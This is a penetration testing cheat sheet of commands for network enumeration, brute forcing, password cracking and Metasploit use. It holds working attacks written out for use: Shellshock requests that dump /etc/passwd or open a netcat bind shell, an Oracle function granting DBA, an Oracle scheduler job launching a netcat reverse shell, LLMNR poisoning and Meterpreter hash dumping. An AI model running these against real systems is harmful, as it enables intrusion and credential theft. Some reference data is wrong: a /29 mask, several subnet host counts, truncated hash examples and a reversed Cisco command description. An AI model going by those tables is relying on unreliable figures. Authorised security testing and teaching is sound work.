Penetration Testing Tools Cheat Sheet
Introduction
Penetration testing tools cheat sheet, a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the typicalcommands you would run when performing a penetration test. For more in depth information I’d recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.
The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration.
If I’m missing any pen testing tools here give me a nudge on twitter.
Changelog
17/02/2017 – Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc – check out the TOC below.
- Introduction
- Pre-engagement
- OSINT
- DNS Zone Transfers
- Enumeration & Attacking Network Services
- TLS & SSL Testing
- Vulnerability Assessment
- Database Penetration Testing
- Network
- BOF / Exploit
- Exploit Research
- Simple Local Web Servers
- Mounting File Shares
- HTTP / HTTPS Webserver Enumeration
- Packet Inspection
- Username Enumeration
- Passwords
- Brute Forcing Services
- Password Cracking
- Windows Penetration Testing Commands
- Linux Penetration Testing Commands
- Compiling Exploits
- SUID Binary
- Reverse Shells
- TTY Shells
- Metasploit Cheat Sheet
- Meterpreter Cheat Sheet
- Common Metasploit Modules
- ASCII Table Cheat Sheet
- CISCO IOS Commands
- Cryptography
- SQLMap Examples
Pre-engagement
Network Configuration
Set IP Address
ifconfig eth0 xxx.xxx.xxx.xxx/24
Subnetting
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
OSINT
Passive Information Gathering
DNS
WHOIS enumeration
whois domain-name-here.com
Perform DNS IP Lookup
dig a domain-name-here.com @nameserver
Perform MX Record Lookup
dig mx domain-name-here.com @nameserver
Perform Zone Transfer with DIG
dig axfr domain-name-here.com @nameserver
DNS Zone Transfers
COMMAND | DESCRIPTION |
---|---|
nslookup -> set type=any -> ls -d blah.com |
Windows DNS zone transfer |
dig axfr blah.com @ns1.blah.com |
Linux DNS zone transfer |
Simply Email
Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn’t think you’re a robot and make you fill out a Captcha.
git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN
Simply Email can verify the discovered email addresss after gathering.
Semi Active Information Gathering
Basic Finger Printing
Manual finger printing / banner grabbing.
COMMAND | DESCRIPTION |
---|---|
nc -v 192.168.1.1 25
|
Basic versioning / finger printing via displayed banner |
Banner grabbing with NC
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
Active Information Gathering
DNS Bruteforce
DNSRecon
DNS Enumeration Kali – DNSRecon
root:~# dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std –xml ouput.xml
Port Scanning
Nmap Commands
For more commands, see the Nmap cheat sheet (link in the menu on the right).
Basic Nmap Commands:
COMMAND | DESCRIPTION |
---|---|
nmap -v -sS -A -T4 target |
Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services |
nmap -v -sS -p--A -T4 target |
As above but scans all TCP ports (takes a lot longer) |
nmap -v -sU -sS -p- -A -T4 target |
As above but scans all TCP ports and UDP scan (takes even longer) |
nmap -v -p 445 --script=smb-check-vulns |
Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover |
ls /usr/share/nmap/scripts/* | grep ftp |
Search nmap scripts for keywords |
I’ve had a few people mention about T4 scans, apply common sense here. Don’t use T4 commands on external pen tests (when using an Internet connection), you’re probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.
Nmap UDP Scanning
nmap -sU TARGET
UDP Protocol Scanner
git clone https://github.com/portcullislabs/udp-proto-scanner.git
Scan a file of IP addresses for all services:
./udp-protocol-scanner.pl -f ip.txt
Scan for a specific UDP service:
udp-proto-scanner.pl -p ntp -f ips.txt
Other Host Discovery
Other methods of host discovery, that don’t use nmap…
COMMAND | DESCRIPTION |
---|---|
netdiscover -r 192.168.1.0/24 |
Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site |
Enumeration & Attacking Network Services
Penetration testing tools that spefically identify and / or enumerate network services:
SAMB / SMB / Windows Domain Enumeration
Samba Enumeration
SMB Enumeration Tools
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
Also see, nbtscan cheat sheet (right hand menu).
COMMAND | DESCRIPTION |
---|---|
nbtscan 192.168.1.0/24 |
Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain |
enum4linux -a target-ip |
Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing |
Fingerprint SMB Version
smbclient -L //192.168.1.100
Find open SMB Shares
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
Enumerate SMB Users
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
RID Cycling:
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
Metasploit module for RID cycling:
use auxiliary/scanner/smb/smb_lookupsid
Manual Null session testing:
Windows:
net use \\TARGET\IPC$ "" /u:""
Linux:
smbclient -L //192.168.99.131
NBTScan unixwiz
Install on Kali rolling:
apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
LLMNR / NBT-NS Spoofing
Steal credentials off the network.
Metasploit LLMNR / NetBIOS requests
Spoof / poison LLMNR / NetBIOS requests:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
Capture the hashes:
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
You’ll end up with NTLMv2 hash, use john or hashcat to crack it.
Responder.py
Alternatively you can use responder.
git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0
Run Responder.py for the whole engagement
Run Responder.py for the length of the engagement while you’re working on other attack vectors.
SNMP Enumeration Tools
A number of SNMP enumeration tools.
Fix SNMP output values so they are human readable:
apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf
COMMAND | DESCRIPTION |
---|---|
snmpcheck -t 192.168.1.X -c public
|
SNMP enumeration |
SNMPv3 Enumeration Tools
Idenitfy SNMPv3 servers with nmap:
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:
apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
Use Metasploits Wordlist
Metasploit’s wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler’s SecLists project on GitHub (not the mailing list!).
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
R Services Enumeration
This is legacy, included for completeness.
nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:
RSH Enumeration
RSH Run Commands
rsh <target> <command>
Metasploit RSH Login Scanner
auxiliary/scanner/rservices/rsh_login
rusers Show Logged in Users
rusers -al 192.168.2.1
rusers scan whole Subnet
rlogin -l <user> <target>
e.g rlogin -l root TARGET-SUBNET/24
Finger Enumeration
finger @TARGET-IP
Finger a Specific Username
finger batman@TARGET-IP
Solaris bug that shows all logged in users:
finger 0@host
SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN
finger 'a b c d e f g h'@sunhost
rwho
Use nmap to identify machines running rwhod (513 UDP)
TLS & SSL Testing
testssl.sh
Test all the things on a single host and output to a .html file:
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
Vulnerability Assessment
Install OpenVAS 8 on Kali Rolling:
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
Verify openvas is running using:
netstat -tulpn
Login at https://127.0.0.1:9392 – credentials are generated during openvas-setup.
Database Penetration Testing
Attacking database servers exposed on the network.
Oracle
Install oscanner:
apt-get install oscanner
Run oscanner:
oscanner -s 192.168.1.200 -P 1521
Fingerprint Oracle TNS Version
Install tnscmd10g:
apt-get install tnscmd10g
Fingerprint oracle tns:
tnscmd10g version -h TARGET
nmap --script=oracle-tns-version
Brute force oracle user accounts
Identify default Oracle accounts:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Run nmap scripts against Oracle TNS:
nmap -p 1521 -A TARGET
Oracle Privilege Escalation
Requirements:
- Oracle needs to be exposed on the network
- A default account is in use like scott
Quick overview of how this works:
- Create the function
- Create an index on table SYS.DUAL
- The index we just created executes our function SCOTT.DBA_X
- The function will be executed by SYS user (as that’s the user that owns the table).
- Create an account with DBA priveleges
In the example below the user SCOTT is used but this should be possible with another default Oracle account.
Identify default accounts within oracle db using NMAP NSE scripts:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Login using the identified weak account (assuming you find one).
How to identify the current privilege level for an oracle user:
SQL> select * from session_privs;
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid
curren_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to user1 identified by pass1';
commit;
return 'FOO';
end;
Oracle priv esc and obtain DBA access:
Run netcat: netcat -nvlp 443
code>
SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
Run the exploit with a select query:
SQL> Select * from session_privs;
You should have a DBA user with creds user1 and pass1.
Verify you have DBA privileges by re-running the first command again.
Remove the exploit using:
drop index exploit_1337;
Get Oracle Reverse os-shell:
begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
MSSQL
Enumeration / Discovery:
Nmap:
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
Metasploit:
msf > use auxiliary/scanner/mssql/mssql_ping
Use MS SQL Servers Browse For More
Try using “Browse for More” via MS SQL Server Management Studio
Bruteforce MSSQL Login
msf > use auxiliary/admin/mssql/mssql_enum
Metasploit MSSQL Shell
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
Network
Plink.exe Tunnel
PuTTY Link tunnel
Forward remote port to local address:
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
Pivoting
SSH Pivoting
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
Add socks4 127.0.0.1 1010 in /etc/proxychains.conf
SSH pivoting from one network to another:
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
Add socks4 127.0.0.1 1010 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
Add socks4 127.0.0.1 1011 in /etc/proxychains.conf
Meterpreter Pivoting
TTL Finger Printing
OPERATING SYSTEM | TTL SIZE |
---|---|
Windows | 128 |
Linux | 64 |
Solaris | 255 |
Cisco / Network | 255 |
IPv4 Cheat Sheets
Classful IP Ranges
E.g Class A,B,C (depreciated)
CLASS | IP ADDRESS RANGE |
---|---|
Class A IP Address Range | 0.0.0.0 - 127.255.255.255 |
Class B IP Address Range | 128.0.0.0 - 191.255.255.255 |
Class C IP Address Range | 192.0.0.0 - 223.255.255.255 |
Class D IP Address Range | 224.0.0.0 - 239.255.255.255 |
Class E IP Address Range | 240.0.0.0 - 255.255.255.255 |
IPv4 Private Address Ranges
CLASS | RANGE |
---|---|
Class A Private Address Range | 10.0.0.0 - 10.255.255.255 |
Class B Private Address Range | 172.16.0.0 - 172.31.255.255 |
Class C Private Address Range | 192.168.0.0 - 192.168.255.255 |
127.0.0.0 - 127.255.255.255 |
IPv4 Subnet Cheat Sheet
Subnet cheat sheet, not really realted to pen testing but a useful reference.
CIDR | DECIMAL MASK | NUMBER OF HOSTS |
---|---|---|
/31 | 255.255.255.254 |
1 Host |
/30 | 255.255.255.252 |
2 Hosts |
/29 | 255.255.255.249 |
6 Hosts |
/28 | 255.255.255.240 |
14 Hosts |
/27 | 255.255.255.224 |
30 Hosts |
/26 | 255.255.255.192 |
62 Hosts |
/25 | 255.255.255.128 |
126 Hosts |
/24 | 255.255.255.0 |
254 Hosts |
/23 | 255.255.254.0 |
512 Host |
/22 | 255.255.252.0 |
1022 Hosts |
/21 | 255.255.248.0 |
2046 Hosts |
/20 | 255.255.240.0 |
4094 Hosts |
/19 | 255.255.224.0 |
8190 Hosts |
/18 | 255.255.192.0 |
16382 Hosts |
/17 | 255.255.128.0 |
32766 Hosts |
/16 | 255.255.0.0 |
65534 Hosts |
/15 | 255.254.0.0 |
131070 Hosts |
/14 | 255.252.0.0 |
262142 Hosts |
/13 | 255.248.0.0 |
524286 Hosts |
/12 | 255.240.0.0 |
1048674 Hosts |
/11 | 255.224.0.0 |
2097150 Hosts |
/10 | 255.192.0.0 |
4194302 Hosts |
/9 | 255.128.0.0 |
8388606 Hosts |
/8 | 255.0.0.0 |
16777214 Hosts |
VLAN Hopping
Using NCCGroups VLAN wrapper script for Yersina simplifies the process.
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh
VPN Pentesting Tools
Identify VPN servers:
./udp-protocol-scanner.pl -p ike TARGET(s)
Scan a range for VPN servers:
./udp-protocol-scanner.pl -p ike -f ip.txt
IKEForce
Use IKEForce to enumerate or dictionary attack VPN servers.
Install:
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git
Perform IKE VPN enumeration with IKEForce:
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
Bruteforce IKE VPN using IKEForce:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
IKE Aggressive Mode PSK Cracking
- Identify VPN Servers
- Enumerate with IKEForce to obtain the group ID
- Use ike-scan to capture the PSK hash from the IKE endpoint
- Use psk-crack to crack the hash
Step 1: Idenitfy IKE Servers
./udp-protocol-scanner.pl -p ike SUBNET/24
Step 2: Enumerate group name with IKEForce
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
Step 3: Use ike-scan to capture the PSK hash
ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
Step 4: Use psk-crack to crack the PSK hash
psk-crack hash-file.txt
Some more advanced psk-crack options below:
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP Hacking
Identifying PPTP, it listens on TCP: 1723
NMAP PPTP Fingerprint:
nmap –Pn -sV -p 1723 TARGET(S)
PPTP Dictionary Attack
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
DNS Tunneling
Tunneling data over DNS to bypass firewalls.
dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.
Attacking Machine
Installtion:
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
Run dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
Target Machine:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>
BOF / Exploit
Exploit Research
Find exploits for enumerated hosts / services.
COMMAND | DESCRIPTION |
---|---|
searchsploit windows 2003 | grep -i local |
Search exploit-db for exploit, in this example windows 2003 + local esc |
site:exploit-db.com exploit kernel <= 3 |
Use google to search exploit-db.com for exploits |
grep -R "W7" /usr/share/metasploit-framework |
Search metasploit modules using grep – msf search sucks a bit |
Searching for Exploits
Install local copy of exploit-db:
searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
Compiling Windows Exploits on Kali
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
Cross Compiling Exploits
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
Exploiting Common Vulnerabilities
Exploiting Shellshock
A tool to find and exploit servers vulnerable to Shellshock:
git clone https://github.com/nccgroup/shocker
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
cat file (view file contents)
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock run bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
Shell Shock reverse Shell
nc -l -p 443
Simple Local Web Servers
Python local web server command, handy for serving up shells and exploits on an attacking machine.
COMMAND | DESCRIPTION |
---|---|
python -m SimpleHTTPServer 80 |
Run a basic http server, great for serving up shells etc |
python3 -m http.server |
Run a basic Python3 http server, great for serving up shells etc |
ruby -rwebrick -e "WEBrick::HTTPServer.new |
Run a ruby webrick basic http server |
php -S 0.0.0.0:80 |
Run a basic PHP http server |
Mounting File Shares
How to mount NFS / CIFS, Windows and Linux file shares.
COMMAND | DESCRIPTION |
---|---|
mount 192.168.1.1:/vol/share /mnt/nfs |
Mount NFS share to /mnt/nfs |
mount -t cifs -o username=user,password=pass |
Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history) |
net use Z: \\win-server\share password |
Mount a Windows share on Windows from the command line |
apt-get install smb4k -y |
Install smb4k on Kali, useful Linux GUI for browsing SMB shares |
HTTP / HTTPS Webserver Enumeration
COMMAND | DESCRIPTION |
---|---|
nikto -h 192.168.1.1 |
Perform a nikto scan against target |
dirbuster |
Configure via GUI, CLI input doesn’t work most of the time |
Packet Inspection
COMMAND | DESCRIPTION |
---|---|
tcpdump tcp port 80 -w output.pcap -i eth0 |
tcpdump for port 80 on interface eth0, outputs to output.pcap |
Username Enumeration
Some techniques used to remotely enumerate users on a target system.
SMB User Enumeration
COMMAND | DESCRIPTION |
---|---|
python /usr/share/doc/python-impacket-doc/examples |
Enumerate users from SMB |
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt |
RID cycle SMB / enumerate users from SMB |
SNMP User Enumeration
COMMAND | DESCRIPTION |
---|---|
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 |
Enmerate users from SNMP |
python /usr/share/doc/python-impacket-doc/examples/ |
Enmerate users from SNMP |
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt |
Search for SNMP servers with nmap, grepable output |
Passwords
Wordlists
COMMAND | DESCRIPTION |
---|---|
/usr/share/wordlists |
Kali word lists |
Brute Forcing Services
Hydra FTP Brute Force
COMMAND | DESCRIPTION |
---|---|
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f |
Hydra FTP brute force |
Hydra POP3 Brute Force
COMMAND | DESCRIPTION |
---|---|
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f |
Hydra POP3 brute force |
Hydra SMTP Brute Force
COMMAND | DESCRIPTION |
---|---|
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V |
Hydra SMTP brute force |
Use -t
to limit concurrent connections, example: -t 15
Password Cracking
Password cracking penetration testing tools.
John The Ripper – JTR
COMMAND | DESCRIPTION |
---|---|
john --wordlist=/usr/share/wordlists/rockyou.txt hashes |
JTR password cracking |
john --format=descrypt --wordlist |
JTR forced descrypt cracking with wordlist |
john --format=descrypt hash --show |
JTR forced descrypt brute force cracking |
Windows Penetration Testing Commands
See Windows Penetration Testing Commands.
Linux Penetration Testing Commands
See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.
Compiling Exploits
Some notes on compiling exploits.
Identifying if C code is for Windows or Linux
C #includes will indicate which OS should be used to build the exploit.
COMMAND | DESCRIPTION |
---|---|
process.h, string.h, winbase.h, windows.h, winsock2.h |
Windows exploit code |
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, |
Linux exploit code |
Build Exploit GCC
Compile exploit gcc.
COMMAND | DESCRIPTION |
---|---|
gcc -o exploit exploit.c |
Basic GCC compile |
GCC Compile 32Bit Exploit on 64Bit Kali
Handy for cross compiling 32 bit binaries on 64 bit attacking machines.
COMMAND | DESCRIPTION |
---|---|
gcc -m32 exploit.c -o exploit |
Cross compile 32 bit binary on 64 bit Linux |
Compile Windows .exe on Linux
Build / compile windows exploits on Linux, resulting in a .exe file.
COMMAND | DESCRIPTION |
---|---|
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe |
Compile windows .exe on Linux |
SUID Binary
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.
below are some quick copy and pate examples for various shells:
SUID C Shell for /bin/bash
SUID C Shell for /bin/sh
Building the SUID Shell binary
For 32 bit:
Reverse Shells
See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.
TTY Shells
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su
from reverse shells.
Python TTY Shell Trick
Spawn Interactive sh shell
Spawn Perl TTY Shell
Spawn Ruby TTY Shell
Spawn Lua TTY Shell
Spawn TTY Shell from Vi
Run shell commands from vi:
Spawn TTY Shell NMAP
Metasploit Cheat Sheet
A basic metasploit cheat sheet that I have found handy for reference.
Basic Metasploit commands, useful for reference, for pivoting see – Meterpreter Pivoting techniques.
Meterpreter Payloads
Windows reverse meterpreter payload
COMMAND | DESCRIPTION |
---|---|
set payload windows/meterpreter/reverse_tcp |
Windows reverse tcp payload |
Windows VNC Meterpreter payload
COMMAND | DESCRIPTION |
---|---|
set payload windows/vncinject/reverse_tcp
|
Meterpreter Windows VNC Payload |
Linux Reverse Meterpreter payload
COMMAND | DESCRIPTION |
---|---|
set payload linux/meterpreter/reverse_tcp |
Meterpreter Linux Reverse Payload |
Meterpreter Cheat Sheet
Useful meterpreter commands.
COMMAND | DESCRIPTION |
---|---|
upload file c:\\windows |
Meterpreter upload file to Windows target |
download c:\\windows\\repair\\sam /tmp |
Meterpreter download file from Windows target |
download c:\\windows\\repair\\sam /tmp |
Meterpreter download file from Windows target |
execute -f c:\\windows\temp\exploit.exe |
Meterpreter run .exe on target – handy for executing uploaded exploits |
execute -f cmd -c |
Creates new channel with cmd shell |
ps |
Meterpreter show processes |
shell |
Meterpreter get shell on the target |
getsystem |
Meterpreter attempts priviledge escalation the target |
hashdump |
Meterpreter attempts to dump the hashes on the target |
portfwd add –l 3389 –p 3389 –r target |
Meterpreter create port forward to target machine |
portfwd delete –l 3389 –p 3389 –r target |
Meterpreter delete port forward |
Common Metasploit Modules
Top metasploit modules.
Remote Windows Metasploit Modules (exploits)
COMMAND | DESCRIPTION |
---|---|
use exploit/windows/smb/ms08_067_netapi |
MS08_067 Windows 2k, XP, 2003 Remote Exploit |
use exploit/windows/dcerpc/ms06_040_netapi |
MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit |
use exploit/windows/smb/ |
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit |
Local Windows Metasploit Modules (exploits)
COMMAND | DESCRIPTION |
---|---|
use exploit/windows/local/bypassuac |
Bypass UAC on Windows 7 + Set target + arch, x86/64 |
Auxilary Metasploit Modules
COMMAND | DESCRIPTION |
---|---|
use auxiliary/scanner/http/dir_scanner |
Metasploit HTTP directory scanner |
use auxiliary/scanner/http/jboss_vulnscan |
Metasploit JBOSS vulnerability scanner |
use auxiliary/scanner/mssql/mssql_login |
Metasploit MSSQL Credential Scanner |
use auxiliary/scanner/mysql/mysql_version |
Metasploit MSSQL Version Scanner |
use auxiliary/scanner/oracle/oracle_login |
Metasploit Oracle Login Module |
Metasploit Powershell Modules
COMMAND | DESCRIPTION |
---|---|
use exploit/multi/script/web_delivery |
Metasploit powershell payload delivery module |
post/windows/manage/powershell/exec_powershell |
Metasploit upload and run powershell script through a session |
use exploit/multi/http/jboss_maindeployer |
Metasploit JBOSS deploy |
use exploit/windows/mssql/mssql_payload |
Metasploit MSSQL payload |
Post Exploit Windows Metasploit Modules
Windows Metasploit Modules for privilege escalation.
COMMAND | DESCRIPTION |
---|---|
run post/windows/gather/win_privs |
Metasploit show privileges of current user |
use post/windows/gather/credentials/gpp |
Metasploit grab GPP saved passwords |
load mimikatz -> wdigest |
Metasplit load Mimikatz |
run post/windows/gather/local_admin_search_enum |
Idenitfy other machines that the supplied domain user has administrative access to |
run post/windows/gather/smart_hashdump |
Automated dumping of sam file, tries to esc privileges etc |
ASCII Table Cheat Sheet
Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.
ASCII | CHARACTER |
---|---|
x00 |
Null Byte |
x08 |
BS |
x09 |
TAB |
x0a |
LF |
x0d |
CR |
x1b |
ESC |
x20 |
SPC |
x21 |
! |
x22 |
“ |
x23 |
# |
x24 |
$ |
x25 |
% |
x26 |
& |
x27 |
` |
x28 |
( |
x29 |
) |
x2a |
* |
x2b |
+ |
x2c |
, |
x2d |
– |
x2e |
. |
x2f |
/ |
x30 |
0 |
x31 |
1 |
x32 |
2 |
x33 |
3 |
x34 |
4 |
x35 |
5 |
x36 |
6 |
x37 |
7 |
x38 |
8 |
x39 |
9 |
x3a |
: |
x3b |
; |
x3c |
< |
x3d |
= |
x3e |
> |
x3f |
? |
x40 |
@ |
x41 |
A |
x42 |
B |
x43 |
C |
x44 |
D |
x45 |
E |
x46 |
F |
x47 |
G |
x48 |
H |
x49 |
I |
x4a |
J |
x4b |
K |
x4c |
L |
x4d |
M |
x4e |
N |
x4f |
O |
x50 |
P |
x51 |
Q |
x52 |
R |
x53 |
S |
x54 |
T |
x55 |
U |
x56 |
V |
x57 |
W |
x58 |
X |
x59 |
Y |
x5a |
Z |
x5b |
[ |
x5c |
\ |
x5d |
] |
x5e |
^ |
x5f |
_ |
x60 |
` |
x61 |
a |
x62 |
b |
x63 |
c |
x64 |
d |
x65 |
e |
x66 |
f |
x67 |
g |
x68 |
h |
x69 |
i |
x6a |
j |
x6b |
k |
x6c |
l |
x6d |
m |
x6e |
n |
x6f |
o |
x70 |
p |
x71 |
q |
x72 |
r |
x73 |
s |
x74 |
t |
x75 |
u |
x76 |
v |
x77 |
w |
x78 |
x |
x79 |
y |
x7a |
z |
CISCO IOS Commands
A collection of useful Cisco IOS commands.
COMMAND | DESCRIPTION |
---|---|
enable |
Enters enable mode |
conf t |
Short for, configure terminal |
(config)# interface fa0/0 |
Configure FastEthernet 0/0 |
(config-if)# ip addr 0.0.0.0 255.255.255.255 |
Add ip to fa0/0 |
(config-if)# ip addr 0.0.0.0 255.255.255.255 |
Add ip to fa0/0 |
(config-if)# line vty 0 4 |
Configure vty line |
(config-line)# login |
Cisco set telnet password |
(config-line)# password YOUR-PASSWORD |
Set telnet password |
# show running-config |
Show running config loaded in memory |
# show startup-config |
Show sartup config |
# show version |
show cisco IOS version |
# show session |
display open sessions |
# show ip interface |
Show network interfaces |
# show interface e0 |
Show detailed interface info |
# show ip route |
Show routes |
# show access-lists |
Show access lists |
# dir file systems |
Show available files |
# dir all-filesystems |
File information |
# dir /all |
SHow deleted files |
# terminal length 0 |
No limit on terminal output |
# copy running-config tftp |
Copys running config to tftp server |
# copy running-config startup-config |
Copy startup-config to running-config |
Cryptography
Hash Lengths
HASH | SIZE |
---|---|
MD5 Hash Length | 16 Bytes |
SHA-1 Hash Length | 20 Bytes |
SHA-256 Hash Length | 32 Bytes |
SHA-512 Hash Length | 64 Bytes |
Hash Examples
Likely just use hash-identifier for this but here are some example hashes:
HASH | EXAMPLE |
---|---|
MD5 Hash Example | 8743b52063cd84097a65d1633f5c74f5 |
MD5 $PASS:$SALT Example | 01dfae6e5d4d90d9892622325959afbe:7050461 |
MD5 $SALT:$PASS | f0fda58630310a6dd91a7d8f0a4ceda2:4225637426 |
SHA1 Hash Example | b89eaac7e61417341b710b727768294d0e6a277b |
SHA1 $PASS:$SALT | 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014 |
SHA1 $SALT:$PASS | cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024 |
SHA-256 | 127e6fbfe24a750e72930c220a8e138275656b |
SHA-256 $PASS:$SALT | c73d08de890479518ed60cf670d17faa26a4a7 |
SHA-256 $SALT:$PASS | eb368a2dfd38b405f014118c7d9747fcc97f4 |
SHA-512 | 82a9dda829eb7f8ffe9fbe49e45d47d2dad9 |
SHA-512 $PASS:$SALT | e5c3ede3e49fb86592fb03f471c35ba13e8 |
SHA-512 $SALT:$PASS | 976b451818634a1e2acba682da3fd6ef |
